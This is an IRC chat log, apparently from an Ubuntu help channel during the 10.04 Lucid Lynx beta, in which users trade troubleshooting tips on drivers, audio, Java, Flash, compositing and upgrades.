[16:06]  * yofel uses KDE
[16:07] <majnoon> i mix and match :)
[16:07] <yofel> mostly because I hate notify-osd
[16:07] <majnoon> a lot of time i use fluxbox :)
[16:07] <yofel> they work differently, depends on what you like more
[16:07] <mikebeecham> well I've only really used gnome, so I've not yardstick to measure anything else by
[16:08] <Gustavo> support in spanish ?
[16:08] <majnoon> yofel no so much any more
[16:08] <majnoon> they tend to overlap a LOT
[16:09] <mikebeecham> i'm a designer, so I tend to head for the aesthetic
[16:09] <mikebeecham> i like to have whatever I use look nice
[16:09] <yofel> majnoon: well, kubuntu and ubuntu will overlap, but they don't overlap that much
[16:09] <majnoon> a lot of progs in both do
[16:10] <majnoon> mikebeecham, can go fancy in ANY desktop :P
[16:10] <yofel> mostly stuff like software properties, jockey and ooo are the same, but they differ a lot otherwize
[16:10] <yofel> *otherwise
[16:10] <paul__> mm
[16:11] <mikebeecham> majnoon: I guess so...but I've come from a windows background, into gnome, so this is kind of all I know at the moment :D
[16:11] <Gustavo> 3
[16:11] <paul__> do the xserver-xorg-core symbols not match up atm? ;/
[16:11] <mikebeecham> and between kde-look and deviantart I cant see anything that would make KDE look nice right now :(
[16:12] <tenochslb> i did some update last week on my hp pavillion dv 6000 and the wireless internet stopped working. I am using lucid lynx
[16:12] <federico> hola, acabo de actualizar a lucid 10.4 y tengo un problema con la tecla alt. Cuando la apreto se me minimizan las ventanas, cosa que no me pasaba antes de actualizar.
[16:12] <federico> además la tecla alt gr no me funciona
[16:12] <Volkodav> is medibuntu down ?
[16:14] <BUGabundo> federico: english only. thanks
[16:14] <federico> i just updated tu lucid, and i have a problem with the alt key, when i press this key it minimizes the window
[16:14] <BUGabundo> federico: works fine for me
[16:14] <BUGabundo> laptop or desktop?
[16:14] <federico> and the alt gr key doesn't work at al
[16:14] <BUGabundo> usb or ps2?
[16:14] <federico> all*
[16:14] <federico> desktop
[16:14] <yofel> mikebeecham: here's my desktop at the moment in KDE http://yofel.dyndns.org/pics/ext/kubuntu.png (ignore the window list at the top, got taken in the middle of the animation ^^)
[16:15] <federico> it's a weird thing, i don know how to solve it
[16:15] <mikebeecham> yofel: I guess that would be an acquired taste :D
[16:16] <mikebeecham> it's not my thing, I'm afraid...too dark
[16:17] <duffydack> http://www.omgubuntu.co.uk/2010/04/window-buttons-shift-order-again.html  this is something my system seems to have ignored.  my buttons have not changed..are they meant to?
[16:17] <yofel> mikebeecham: MY theme is dark, the default is white, maybe a tend light-grey
[16:19] <majnoon> mikebeecham, THAT the beauty of *nix start out slow then can really go nuts :)
[16:20] <yofel> mikebeecham: see here for a few default screenshots http://linuxexperimentation.blogspot.com/2010/02/kubuntu-lucid-review.html
[16:23] <majnoon> ok yofel now how get new amarok to shuffle tunes ??
[16:23] <howlymowly> hi poeple... short question: on my kubuntu 10.04 kde is not starting into compositing anymore.. I always have to enable it via the global shortcut... it is also enabled by default in my power settings.. but for some reason it does not work automatically..  any idea on this? or maybe this bug will bee resolved with the major rlease?
[16:24] <yofel> howlymowly: what graphics card/driver are you using?
[16:25] <howlymowly> intel
[16:26] <majnoon> ok yofel now how get new amarok to shuffle tunes ??
[16:26] <howlymowly> but that's not the problem....  yofel, I mean compositing works after all..  I just always have to enable it using the alt-shift-f12 shortcut...
[16:26] <marijus> toptop
[16:27] <penguin42> howlymowly: Which Intel exactly?
[16:28] <howlymowly> 965gm   or some poeple use X3100 as the identification...
[16:28] <howlymowly> penguin42:
[16:28] <howlymowly> ...
[16:29] <majnoon> can't shuffle playlists in amarok any more :(
[16:29] <penguin42> howlymowly: SO I don't know KDE stuff; but a bit of a google reveals there is some blacklist/whitelist stuff for enabling compositing; there is also apparently a 'self-check' that kwin runs and I'm guessing it's failing the selftext
[16:29] <penguin42> test
[16:30] <penguin42> howlymowly: I'd check your .xsession-errors to see if there is any mention of compositing
[16:30] <penguin42> howlymowly: In particular check for a line like   kwin(26800): Compositing self-check failed, disabling compositing..
[16:32] <mawst> IS there a medibuntu repo for lucid?
[16:32] <x1o> hi, how do i integrate pidgin into the indicator applet?
[16:32] <mawst> Basically I'm just looking to get quicktime working.
[16:33] <yofel> mawst: medibuntu is there for lucid
[16:34] <dupondje> mawst: yofel: there is medibuntu indeed, but it seems down atm
[16:34] <yofel> ah
[16:34] <howlymowly> penguin42: this is the only thing I found:   	Probed	PCI:*(0:0:2:0) 8086:2a02:1028:026f Intel Corporation Mobile GM965/GL960 Integrated Graphics Controller rev 12, Mem @ 0xf8000000/1048576, 0xd0000000/268435456, I/O @ 0x00001800/8
[16:34] <howlymowly> 	Probed	PCI: (0:0:2:1) 8086:2a03:1028:026f Intel Corporation Mobile GM965/GL960 Integrated Graphics Controller rev 12, Mem @ 0xf8100000/1048576
[16:34] <howlymowly> 	Warning	Open ACPI failed (/var/run/acpid.socket) (No such file or directory)
[16:34] <howlymowly> maybe it has something to do with the open ACPI failed :)?
[16:34] <mawst> nm I have it solved.
[16:34] <howlymowly> I mean compositing is beeing enabled in the power settings...
[16:35] <howlymowly> hmm. i guess I'll jsut wait for a few days and see if the bug gets resolved with any updates..
[16:37] <majnoon> now need to figure out how to shuffle playlists in amarok :(
[16:38] <DASPRiD> click the shuffle button
[16:38] <DASPRiD> :)
[16:38] <mikehh> hi - I am having a weird problem with my wireless connection
[16:38] <majnoon> DASPRiD, it GONE in lucid version :(
[16:39] <DASPRiD> majnoon, ah... amarok2 sucks anyway ;)
[16:39] <mikehh> when I restart the i386 version I have to do it twice before the wirless will connect
[16:39] <penguin42> howlymowly: I doubt it's the ACPI
[16:39] <majnoon> is there a way to grab jaunty version ??
[16:39] <mikehh> anyone come across similar problems
[16:40] <agronholm> majnoon, /etc/issue?
[16:45] <mikehh> I am running - 2.6.32-21-generic-pae #32-Ubuntu SMP Fri Apr 16 09:39:35 UTC 2010 i686 GNU/Linux - driver: rtl8180
[16:46] <mikehh> when I restart my amd64 version I does not seem to have problems, but the i386 requires TWO restarts - it always seems to work on the second attempt
[16:47] <penguin42> mikehh: Well that sounds like a bug, (kernel?)
[16:47] <penguin42> mikehh: It's a good comparison to have
[16:49] <mikehh> I have 9.10 amd64, and 9.10 i386 and 9.04 amd64 (in separate / partitions same /home) and don't have problems with them
[16:50] <mikehh> I only have a wireless connection to the internet (on the othe side of the house)
[16:52] <csilk> Lucid release party in London, I've found reference to it on the wiki but is there any more info?
[16:53] <jesusm> hello, anyone knows how can i change the docky icon color? the icon that open preferences panel for docky
[16:53] <BUGabundo> csilk: tried the loco teams wiki pages?
[16:54] <BUGabundo> http://loco.ubuntu.com/teams/ubuntu-XX/events
[16:54] <lalalol> will 10.04 have en-CA?
[16:54] <BUGabundo> where XX is your country
[16:54] <dupondje> mikehh: check the dmesg for errors ? :)
[16:55] <MTughan> lalalol: en-us doesn't work for you?
[16:55] <lalalol> MTughan, i prefer en-CA
[16:55] <coc0nut> CA for Canada?
[16:55] <MTughan> lalalol: So would I, but en-us works for me.
[16:55] <lalalol> yeah
[16:55] <MTughan> Yes.
[16:56] <MTughan> s/color/colour/ and s/neighbor/neighbour/, stuff like that.
[16:56] <lalalol> huh?
[16:56] <coc0nut> I know, I live in Ireland.
[16:56] <lalalol> i wonder what you should choose being english-canadian, en-GB or en-US?
[16:56] <coc0nut> Surely en-GB would be what you're looking for then.
[16:56] <majnoon> found the random play in amarok :P \o/
[16:57] <majnoon> no help so me no tell ;p
[16:57] <mikehh> dupondje - couldn't see any
[16:57] <dupondje> does somebody know if grub2 is working with dmraid now ?
[16:57] <lalalol> MTughan, are you english canadian?
[16:57] <om26er> BUGabundo, upstreamed, triaged?
[16:57] <MTughan> lalalol: Yes. In the Toronto area.
[16:57] <majnoon> https://answers.launchpad.net/ubuntu/+source/amarok/+question/98165  <--for shuffle info
[16:58] <BUGabundo> om26er: ?? I filled upstream if you mean parcelite wish bug
[16:58] <lalalol> MTughan, and you use en-US, why not en-GB?
[16:58] <om26er> BUGabundo, Yes
[16:58] <MTughan> lalalol: I could probably use either. Just never tried en-GB.
[16:59] <MTughan> lalalol: I do a lot of programming too, which almost always uses US spellings, so I have to see either way.
[16:59] <lalalol> MTughan, and is there a way so i can have color as colour and center as centre and defense as defence?
[16:59] <coc0nut> Yeah, en-GB
[17:00] <lalalol> if i'd use en-GB, i'd need to change some verbs to -ize
[17:00] <erghezi> i cant install gnome shell in ubuntu lucid
[17:00] <Volkodav> what's a better solution for incremental backups ( full system image ) will tar with saving permissions in directories suffice ?
[17:00] <dupondje> upgrading from karmic to lucid, its ok to just change sources.list ?
[17:00] <om26er> erghezi, actually I am using it atm in Lucid
[17:01] <erghezi> om26er: synaptic give me error
[17:01] <erghezi> om26er: E: Unable to correct problems, you have held broken packages.
[17:01] <erghezi> E: Unable to lock the download directory
[17:01] <om26er> erghezi, I think its broken in Lucid
[17:01] <om26er> I am using a ppa
[17:01] <erghezi> om26er:  can you give me ppa?
[17:02] <om26er> erghezi,  can you give me ppa?
[17:02] <om26er> sorry
[17:02] <om26er> erghezi, https://launchpad.net/~ricotz/+archive/testing
[17:03] <erghezi> om26er: thx man
[17:03] <om26er> erghezi, :)
[17:04] <om26er> any one using xchat indicator?
[17:05] <lalalol> MTughan and coc0nut, will this make my system work in en-CA? http://manpages.ubuntu.com/manpages/lucid/man5/canadian-english-huge.5.html
[17:08] <Lademord> Anyone who knows if it's possible to get screenlets to work on lucid alpha?
[17:08] <dupondje> upgrading from karmic to lucid, its ok to just change sources.list ?
[17:09] <MTughan> lalalol: No, I don't think that's it.
[17:09] <lalalol> MTughan, wanna help me find a solution please?
[17:12] <dartdog> I have installed 10.04 after much pain,, and carefully been applying the "bulk" auto updates a few at a time and the last batch which included the open gl and some other similar drivers has now bricked the machine any suggestions on how to recover without a do over?
[17:13] <fvs> not sure if this is lucid related - anyway Transmission Bittorent client downloaded ubuntu-studio iso image. When complete I went looking for it in the downloads folder (default). I can't find it - where could it possibly be?
[17:13] <demifuror> how can i install ym 8800gts in lucid?
[17:13] <Lademord> fvs, you should be able to find that information in the torrent info in Transmission, I think
[17:14] <fvs> Lademord, it points to home/user/Downloads
[17:15] <Lademord> fvs, hmm... that's strange. And the download is shown as completed, you say?
[17:15] <Lademord> I have no idea then :)
[17:15] <fvs> Lademord, yep, waited 2 hours for it to download :)
[17:15] <dante123> rhythmbox won't play ANYTHING (aloud that is)
[17:16] <fvs> Lademord, showed progress, etc. A indications that it was downloading
[17:16] <dartdog> anyone with an idea how to backout the last bad update?
[17:16] <om26er> dante123, is it an mp3?
[17:16] <dante123> some are, and some are streaming (ubuntu one store)
[17:17] <om26er> dante123, sudo apt-get install gstreamer0.10-plugins-ugly ?
[17:17] <joaopinto> argh, mountall is really messed up
[17:17] <lalalol> dartdog, what i do is copy the things it'll install (using the terminal ofcourse) and paste it into a txt file or so, and if i dislike the update, i just give the command to remove the things i installed by copying the list into the terminal ;)
[17:17] <dante123> om26er but other players can play the same mp3
[17:18] <om26er> danfish, other players like?
[17:18] <dante123> clementine, movie player
[17:18] <videorechner> Hi I want to force my gpu to use a screen resolution, it doesnt find automatically , there is no xorg.conf how can I do that?
[17:19] <om26er> dante123, never heard of that but its possible that it might be using some other libraries
[17:19] <dante123> videorechner what brand of monitor (Acer perchance?)
[17:19] <dante123> okay, will try the uglies
[17:20] <videorechner> Samsung LE37M87BDX/XEC
[17:20] <videorechner> connected via vga
[17:20] <dante123> gstreamer0.10-plugins-ugly is already the newest version.
[17:20] <dante123> om26er
[17:21] <om26er> danfish, oh
[17:21] <om26er> dante123, oh
[17:21] <delac> dante123: do you have restricted-extras installed allready?
[17:21] <dante123> yes
[17:21] <om26er> dante123, try to open the same file with totem
[17:21] <delac> dante123: hmm
[17:21] <delac> dante123: so it should work
[17:21] <dartdog>  lalalol: well I'm late for that,, so I have a machine I can only start with the live cd.. and I'm not sure how I would manually remove the bad items,, if I could remember them,, is there an install log I can see?
[17:22] <delac> dante123: maybe something did go wrong on the installation
[17:22] <dante123> i believe this is a Rhythmbox error or pulseaudio or something as files play fine on other players
[17:22] <lalalol> dartdog, i think so, but i'm afraid i don't know where you can find that
[17:22] <dante123> i even reinstalled
[17:22] <delac> dante123: try reinstalling the ugly package
[17:22] <dante123> rhythmbox that is (not ubuntu)
[17:22] <JoshuaL> is it possible to add the info provided by ubuntu-bug to an exsisting bug?
[17:22] <dante123> already have uglies
[17:22] <delac> dante123: reinstall
[17:23] <om26er> dante123, sudo apt-get purge ubuntu-restricted-extras ;sudo apt-get install ubuntu-restricted-extras might install some libraries that might have been removed in the past (might)
[17:23] <delac> dante123: you can mark it for reinstallation
[17:25] <dartdog> so in short no way to backout a bad update?? seems sort of crazy Any way to remove items from the auto update list (for good?)
[17:25] <lalalol> dartdog, maybe sudo apt-get autoremove, idk man
[17:26] <dante123> delac just did what u said, and testing now....standby
[17:26] <videorechner> dante123 do you have any ideas about my problem?
[17:26] <demifuror> hwot o isntall nvidia in lucid lync?
[17:26] <dante123> sorry, state the problem again
[17:27] <yofel> demifuror: install it from jockey (Hardware Drivers)
[17:27] <dante123> no good delac
[17:27] <dante123> same thing
[17:27] <delac> dante123: hmm
[17:27] <Reckon> Evening
[17:28] <yofel> videorechner: there is no xorg.conf by default, but you can write one yourself
[17:28] <videorechner> Hi I want to force my gpu to use a screen resolution, it doesnt find automatically , there is no xorg.conf how can I do that?
[17:28] <delac> dante123: does rhythmbox give some kind of error when you try to play mp3's?
[17:28] <dante123> oh yeah, okay.....what brand of monitor (flat panel) and what resolution u want?
[17:28] <demifuror> yofel: it says the driver is activated but not in use? how do i use it?
[17:29] <dante123> 	
[17:29] <dante123> videorechner (are u using nvidia driver or standard driver)?
[17:29] <videorechner> sadly, I dont know what I would have to add to the file
[17:29] <videorechner> nouveau
[17:29] <delac> videorechner: system->preferences->display
[17:30] <videorechner> delac 1920x1080 doesnt show up
[17:30] <arrrghhh> how can i install jdk?  i try installing sun-java6-jdk, and it says there's no candidate version...
[17:30] <delac> videorechner: ah
[17:30] <yofel> demifuror: you installed the driver and rebooted, what do you have now?
[17:30] <yofel> demifuror: low graphics mode, or just no 3d, or...?
[17:30] <dante123> 	
[17:31] <dante123> videorechner, I had an acer that would not go above 13xx X xxxx and I wanted 1440 x 900....I had to edit xorg.conf and add refresh rates before higher resolutions would show up...
[17:31] <demifuror> yofel: i cant use the advanced effects, and i cant scroll some pages smoothly, and its just not as nice as it could be haha
[17:31] <dante123> Are there restricted video drivers for your gpu
[17:31] <nipas> Hello ! How can I automount ntfs partitions (on startup) in Lucid ??
[17:31] <yofel> demifuror: 'lsmod | grep nvidia' gives nvidia?
[17:31] <demifuror> i used to use envy in old ubuntus, but i dont think i can for lucid
[17:31] <dante123> gotta go....back later 	
[17:31] <dante123> videorechner
[17:32] <videorechner> thanks for your help
[17:32] <demifuror> yofel: no, gives nothing
[17:32] <yofel> demifuror: the hardware drivers app does everything envy does
[17:32] <yofel> demifuror: ok, and lsmod | grep nouveau ?
[17:32] <demifuror> yeah that gives me stuff
[17:33] <yofel> demifuror: ok, you DID reboot after installing the drivers?
[17:33] <demifuror> yofel:i havent installed any drivers yet, how do i install them?
[17:33] <yofel> demifuror: er... go to System->Administration->Hardware Drivers and install the recommended driver
[17:34] <demifuror> yofel:on the recommended one, it says this driver is activated but not in use, how do i make it use it?
[17:34] <yofel> demifuror: where did you get the 'driver activated but not in use' from?
[17:34] <yofel> ok
[17:35] <yofel> demifuror: ok, how did it get installed? did you upgrade?
[17:35] <demifuror> yofel: upgrade from what? when i installed lucid, it was just like that from teh get go, activated but not in use
[17:36] <yofel> demifuror: o.O, that shouldn't be the case... the driver clearly isn't activated if you're using nouveau
[17:36] <arrrghhh> so I read "For Ubuntu 10.04 LTS, the sun-java6 packages have been dropped from the Multiverse section of the Ubuntu archive. It is recommended that you use openjdk-6 instead." but openjdk-6 gives me the same errors.  no candidate version.
[17:36] <yofel> demifuror: can you deactivate it and install it again?
[17:36] <demifuror> yofel: could it be some kind of bug seeing as this is beta 2?
[17:37] <demifuror> yofel:removing driver now
[17:37] <yofel> demifuror: could be (in the hardware drivers app)
[17:37] <demifuror> yofel: now the wee circle beside is greyed out, do i just activate it again and see if it works?
[17:38] <yofel> demifuror: yes, try it
[17:38] <demifuror> downloading and installing driver...
[17:38] <yofel> arrrghhh: no candidate version? I can install openjdk-6-jre fine here
[17:39] <arrrghhh> yofel, i have multiverse and universe enabled... is there something else i need to do?
[17:39] <yofel> no, as openjdk is in Main
[17:39] <yofel> !info openjdk-6-jre
[17:39] <majnoon> got nvidia working,got sound working got amarok running ok now (ME HAPPY)
[17:41] <BUGabundo> ooopss http://www.alsa-project.org
[17:41] <arrrghhh> yofel, "No candidate version found for openjdk-6-jre"
[17:41] <BUGabundo> crimsun: did alsa forgot to renew their domain ?
[17:41] <yofel> arrrghhh: run 'sudo apt-get update'
[17:41] <yofel> BUGabundo: lol
[17:46] <arrrghhh> yofel, apparently my sources.list was hosed.  i just did an update like 20 minutes ago, not sure how that happened... thanks!
[17:54] <harry-houdini1> hello does anyone know if the  raid bug or the check disk bug were fixed yet
[17:55] <jpds> RAID or check disk bug?
[17:55] <arrrghhh> yofel, i guess my real problem is the java_home environment variable... what should i set it to for openjdk?
[17:55] <jpds> Do you have a bug number for that?
[17:56] <harry-houdini1> sorry thought it was a common one I will have to find the bug reports again...
[17:57] <Mike1_> my tty0 somehow went missing … how can I get it back?
[17:57] <Mike1_> or is it “normal” in lucid?
[17:59] <Mike1_> and how can I remove plymouth?
[17:59] <Ian_Corne> you canot
[18:00] <Mike1_> how can I at least disable it?
[18:01] <vexati0n> help! how do i tell pulseaudio to listen to an input one one device and let me hear it on speakers attached to another device?
[18:01] <vexati0n> or is it too dumb for that :(
[18:01] <Ian_Corne> Mike1_: check the run scripts
[18:02] <Dr_Willis>  vexati0n  you mean 2 differnt pc's or sound cards?
[18:03] <mbrigdan> Would anyone know why upgrading to Lucid would want to install apache?
[18:03] <vexati0n> Dr_Willis, 2 sound cards, same pc.
[18:04] <yofel> arrrghhh: not sure, I had issues with openjdk in eclipse and in firefox, so I'm using sun-java6 now
[18:04] <Reckony> Dr. Willis, earlier this morning you mentioned a services.conf file, didn't you?
[18:05] <espen77> hmm....desktop sometimes freezes when moving files from local hdd to nfs mount using command-line....anyone else experience this?
[18:05] <Dr_Willis> upstart configs --> /etc/init/WHATEVER.conf
[18:08] <Reckon> thanks mate
[18:14] <Oxymoron> http://pastebin.com/uzMbrApm - Anyone?
[18:15] <agronholm> yofel, what kinds of issues
[18:17] <yofel> agronholm: I can't remember anymore what was up with eclipse, but various applets just didn't work right with icedtea, so I'm using the sun plugin now
[18:20] <Oxymoron> yofel: DO you also have problems with Ecplise?
[18:20] <dupondje> I upgraded my other system to Lucid. After replacing grub with grub2, i'm getting the following errors in the grub2 installation: You have a memory leak (not released memory pool):
[18:22] <yofel> Oxymoron: right now not anymore, I don't use it that often though
[18:23] <Oxymoron> yofel: Well look on this: http://pastebin.com/uzMbrApm Zend Studio work with Eclipse as ground nad I think that Java thing you mentioned is the problem. X just kill Zend Studio sometimes and give me errors. It worked for me like thwo days ago or so.
[18:23] <Oxymoron> yofel: How did you solve your problem?
[18:26] <dupondje> http://paste.ubuntu.com/417152/ => any idea ?
[18:26] <Oxymoron> I need to fix my problem, I wont use any other IDE than Zend Studio or Aptana, but none of them work and quits unexepcted.
[18:26] <penguin42> dupondje: Well it's a bug but I'm not sure it's broken anything
[18:27] <penguin42> dupondje: Do you use lvm?
[18:27] <dupondje> no dmraid ... :)
[18:28] <dupondje> anyway grub2 seems to work :)
[18:28] <yofel> Oxymoron: not my issue, mine was a while ago and I got odd java errors that vanished after switching to sun-java6. Maybe openjdk is fixed since then, but unless they fix the web plugin I'll stick with sun for the time being
[18:28] <dupondje> its an improvement :P
[18:29] <Oxymoron> yofel: How do I switch to sun-java6 instead of openjdk?
[18:29] <Dr_Willis> wow
[18:29] <Dr_Willis> openoffice - crashing.. abiword crashing...
[18:29] <Dr_Willis> geany works...
[18:29] <Dr_Willis> :)
[18:30] <yofel> Oxymoron: install sun-java6 from the partner repos and switch all java dpkg-alternatives to sun
[18:33] <Damascene> why my recorded video with record my desktop ogv doesn't get recognized by youtube or other sites?
[18:33] <Damascene> the video is really missed up
[18:35] <bjsnider> yofel, i don't believe that package exists yet (sun-java6)
[18:35] <ZykoticK9> bjsnider, you need to add the partner repo
[18:35] <ZykoticK9> bjsnider, it's called sun-java6-plugin
[18:35] <yofel> bjsnider: err... well, more or less, 'sun-java6' is the source package, you have sun-java6-jre -jdk -plugin -...
[18:36] <yofel> as binaries
[18:37] <bjsnider> nice to see it in there
[18:37] <bjsnider> they said they wouldn't add it until lucid was released
[18:38] <ZykoticK9> bjsnider, it was add on or before March 4, 2010
[18:38] <yofel> not really, sun-java6 was in partner a few days after it was removed from multiverse
[18:38] <yofel> maybe the partner repos just isn't enabled in devel?
[18:40] <Roasted> if I install 10.04 on my spare desktop now and fully update it later when its released, will it be "patched" up to par with the final release version?
[18:40] <AngryPunk> yes
[18:40] <yofel> !final | Roasted
[18:41] <Roasted> okaty, thanks.
[18:41] <Roasted> I'm going to install the daily build now. just wanted to make sure.
[18:42] <gsp2009> Hello everyone. Has anyone had audio probs with beta2? I have searched and it seems to be a pulse issue. Is ALSA better?
[18:44] <ZykoticK9> gsp2009, common misconception - pulse actually uses ALSA for low level sound hardware access
[18:45] <gsp2009> ZykoticK9: hmmm... interesting. So really my prob could be either of them. Any ideas where to start? I tried checking the output settings as recommended... no joy.
[18:45] <om26er> is there a list of gnome shortcut keys for different funtions in different apps?
[18:45] <ZykoticK9> gsp2009, i'm affraid the resident sound expert seems to be idle right now i'm affraid -- and I'm no sound expert.  Best of luck man.
[18:46] <gsp2009> om26er: system -> prefs -> kb shortcuts
[18:46] <gsp2009> ZykoticK9: thanks.
[18:47] <om26er> gsp2009, emh, actually I was looking for the gnome standard keys like this key is for accounts this to refresh and ...
[18:49] <dupondje> somebody knows if its possible to add a bookmark to a nfs share, that will get mounted after opening it ?
[18:49] <penguin42> dupondje: You can use the /net automount
[18:50] <penguin42> oh, ubuntu doesn't have /net - hmm
[18:50] <dupondje> penguin42: and it doesn't need to automount (cause then I can add it to fstab), but only mount when clicking the icon :)
[18:51] <penguin42> dupondje: Yeh not sure how to do that, I was just thinking automount would be easiest
[18:51] <dmarkey> so whats the easiest way to install flash on 10.04
[18:51] <dmarkey> beta 2
[18:52] <gsp2009> dmarkey: software centre -> partners..
[18:52] <JEEBsv> Is this an evil way to install 32bit flash? Get the tar.gz for the 10.1 rc (since it contains a shitload of fixes) and extract to ~/.mozilla/plugins :3
[18:53] <JEEBsv> of course, it doesn't install it globally
[18:53] <JEEBsv> :3
[18:54] <dmarkey> gsp2009: "Ubuntu software center"?
[18:54] <yofel> JEEBsv: that's not evil but your choice of plugin
[18:54] <gsp2009> dmarkey: bottom of the application list
[18:55] <dmarkey> gsp2009: have it open, dont see partnets anywhere though
[18:55] <dupondje> JEEBsv: its easyer to use the package ofc. Me for example use your way to install 64bit plugin :p
[18:55] <gsp2009> dmarkey: on the left menu, it should say "Canonical Partners"
[18:55] <dmarkey> although take into account im running the livecd
[18:55] <ZykoticK9> dmarkey, you need to add the partner repo from Software Sources before it will show up in Software Center
[18:56] <JEEBsv> yofel: yah, since the 10.0X revisions have problems with weighted prediction in video and bug otherwise + the 10.1 rc works fine for me -> I go with 10.1
[18:58] <majnoon> was wondering what is name of next version ??
[18:58] <Drone4four> synaptic tells me that the nvidia-current installed is version 195.36.15 but nvidia settings manager tells me the nvidia driver version installed is version 173.14.22.  how do I install the latest drivers?
[18:58] <ZykoticK9> majnoon, Ubuntu 10.10 a.k.a. Maverick Meerkat
[18:58] <yofel> majnoon: 10.10 will be maverick meerkat (I hope I spelled it right)
[18:58] <majnoon> kk
[18:59] <majnoon> !medibuntu
[18:59] <frank> Is it better to do a fresh install of ubuntu lucid lynx or is is it better to run sudo apt-get update-dist ?
[19:00] <SwedeMike> frank: what do you have right now? 9.10 or earlier 10.04 ?
[19:00] <gsp2009> dmarkey: did you find it?
[19:01] <frank> I have 9.10
[19:01] <dmarkey> gsp2009: just updating cache
[19:01] <gsp2009> dmarkey: :)
[19:02]  * gsp2009 wishes he had sound.
[19:02] <dmarkey> gsp2009: installing, what about mp3 etc
[19:03] <gsp2009> dmarkey: install ubuntu restricted extras
[19:03] <majnoon> looks like medibuntu TEMP broken for lucid
[19:03] <gsp2009> dmarkey: and look for mp3 for gstreamer
[19:03] <SwedeMike> frank: upgrade should work just fine, but it'll probably be quicker with fresh install.
[19:04] <JoshuaL> ubuntu should design a nice quick start icon for openoffice :( the one shipped with openoffice doesnt fit in the theme at all
[19:04] <mandrew> hello anyone with experience of msi wind U160?
[19:04] <frank> SwedeMike, will this leave me with a lot of useless lib files?
[19:05] <joaopinto> frank, just run: do-release-upgrade -d
[19:05] <gsp2009> Anyone have problems with sound that they were able to fix?
[19:05] <blue-frog> majnoon, use mirrors for medibuntu
[19:05] <SwedeMike> frank: shouldn't too much.
[19:05] <SwedeMike> frank: most people upgrade, it's designed to work.
[19:05] <arand> mandrew: Maybe at: https://wiki.ubuntu.com/HardwareSupport
[19:06] <blue-frog> majnoon, https://bugs.launchpad.net/medibuntu/+bug/565810
[19:06] <mandrew> is there more drivers for netbook in ubuntu netbook remix? im having problems with the w-lan card
[19:06] <frank> SwedeMike, thanks for your help
[19:06] <mandrew> ive looked there cant fin any info arand
[19:06] <Roasted> just booted to a daily build of 10.04 32 bit and I get initramfs.... it wont boot to either install or livecd. whats up?
[19:07] <majnoon> it NOT a biggy and be fixed SOON
[19:07] <gsp2009> Roasted: you have two monitors?
[19:08] <arand> mandrew: https://wiki.ubuntu.com/HardwareSupport/Machines/Netbooks was the one I meant, sorry... and that particualr one doesn't seem to be there, but the other similar might be relevant.
[19:08] <Roasted> gsp2009, not on this system, no.
[19:09] <Roasted> gsp2009, installing it on a spare rig of mine... 1gb ram, p4 3.0ghz, single 22 inch lcd, etc
[19:09] <majnoon> blue-frog, how long it been down ??
[19:09] <mandrew> thanks arand
[19:09] <gsp2009> Roasted: ok. I had the same prob. I had to unplug one monitor to boot
[19:09] <blue-frog> majnoon, don't know. since this morning at least (europe CET)
[19:10] <Roasted> gsp2009, hahaha no kidding?? thats a weird fix. let me try it.
[19:10] <majnoon> should be up within 24 hours so not really woried
[19:10] <majnoon> just a pain,nothing major
[19:10] <dmarkey> hmm audio is borked
[19:11] <dmarkey> seems ok in alsamixer
[19:11] <gsp2009> dmarkey: that is why I am here... hoping someone knows how to fix.
[19:11] <limikael> anyone who has tried to install wine on 10.04 ? how does it work?
[19:11] <Blue11> limikael: seems okay
[19:11] <xapel> hi, does anyone know how to get video calls working with gTalk in empathy?
[19:12] <Walzmyn> limikael: didn't install, but had it already installed - no problems
[19:12] <Drone4four> synaptic tells me that the nvidia-current installed is version 195.36.15 but nvidia settings manager tells me the nvidia driver version installed is version 173.14.22.  how do I install the latest drivers?
[19:13] <limikael> alright.. will try it then, thanks..
[19:14] <Blue11> limikael: I have windows firefox, java, and flash working under wine
[19:14] <gsp2009> hey... whats the proggy again for extensive compiz settings?
[19:14] <ZykoticK9> gsp2009, ccsm is the abbreviation
[19:15] <gsp2009> ZykoticK9: cool.. thanks.
[19:16] <blue-frog> Drone4four, what does system/administation/hardware drives says?
[19:16] <Drone4four> blue-frog, what command do i input to show what system/administation/hardware drives says
[19:16] <duffydack> compizconfig-settings-manager
[19:17] <blue-frog> Drone4four, click on the menu I guess
[19:17] <limikael> Blue11: cool! just out of interest, why do you run firefox under wine?
[19:17] <Drone4four> nvidia settings says 173.14.22 is installed
[19:17] <Blue11> because some apps require it --
[19:17] <blue-frog> Drone4four, system/administation/hardware driver
[19:18] <ZykoticK9> limikael, wine firefox is actually faster then native linux firefox, and allows a bunch of plugins that native doesn't
[19:18] <Blue11> ZykoticK9: this is true
[19:18] <gsp2009> Drone4four: if your hardware drivers shows more than one nvidia driver installed, you will have to remove one or two
[19:19] <Blue11> compiz does not seem to work with the stock ati driver anymore
[19:19] <xapel> hi, does anyone know how to get video calls working with gTalk in empathy?
[19:19] <Drone4four> ok ty blue-frog and gsp -- hardware drivers says there is more than one nvidia driver installed.  i'll just remove 173 now =D
[19:19] <Blue11> xapel: i don't
[19:19] <Blue11> xapel: i have NEVER used empathy
[19:19] <limikael> ZykoticK9: ah ok
[19:19] <majnoon> blue-frog, so i'll need to boot windows for 24 hours to watch dvds NOT a biggy :)
[19:20] <Roasted> gsp2009, that didnt work, but Im gonna power off my laptop that Im on here and see if I can at least boot to the livecd there. thanks.
[19:20] <gsp2009> Drone4four: I think I had to remove both, then install the one I wanted
[19:20] <gsp2009> Roasted: cool.. good luck.
[19:20] <blue-frog> majnoon, you do what you want. mirrors are availabble but it's your right to use windows
[19:20] <peepsalot> what is the url to see the list of packages in lucid(to check version #s)?  i tried googling but i'm not finding it
[19:20] <xapel> Blue11: how do you make Gtalk video calls on Ubuntu?
[19:21] <Blue11> peepsalot: dpkg -l
[19:21] <majnoon> blue-frog, i still have some games can only run in windows :( so can't get rid of totally
[19:21] <peepsalot> Blue11, i don't have lucid installed, i know there is a webpage that lists pacakge information as well
[19:21] <Blue11> xapel: I don't do any video conferenceing at all
[19:22] <peepsalot> i have seen it for previous releases
[19:22] <Blue11> peepsalot: I wouldn't know - sorry
[19:22] <gsp2009> xapel: I just set it up to see... you using empathy?
[19:22] <xapel> gsp2009: yes
[19:22] <ZykoticK9> peepsalot, http://packages.ubuntu.com/lucid/
[19:22] <Blue11> xapel: when I last tried it a few years ago, I used kopete
[19:23] <majnoon> blue-frog, though i'm thinking of UPGRADING it to XP from vista
[19:23] <xapel> Blue11: A LOT can change in few years :)
[19:23] <majnoon> switch that
[19:23] <majnoon> from vista to xp
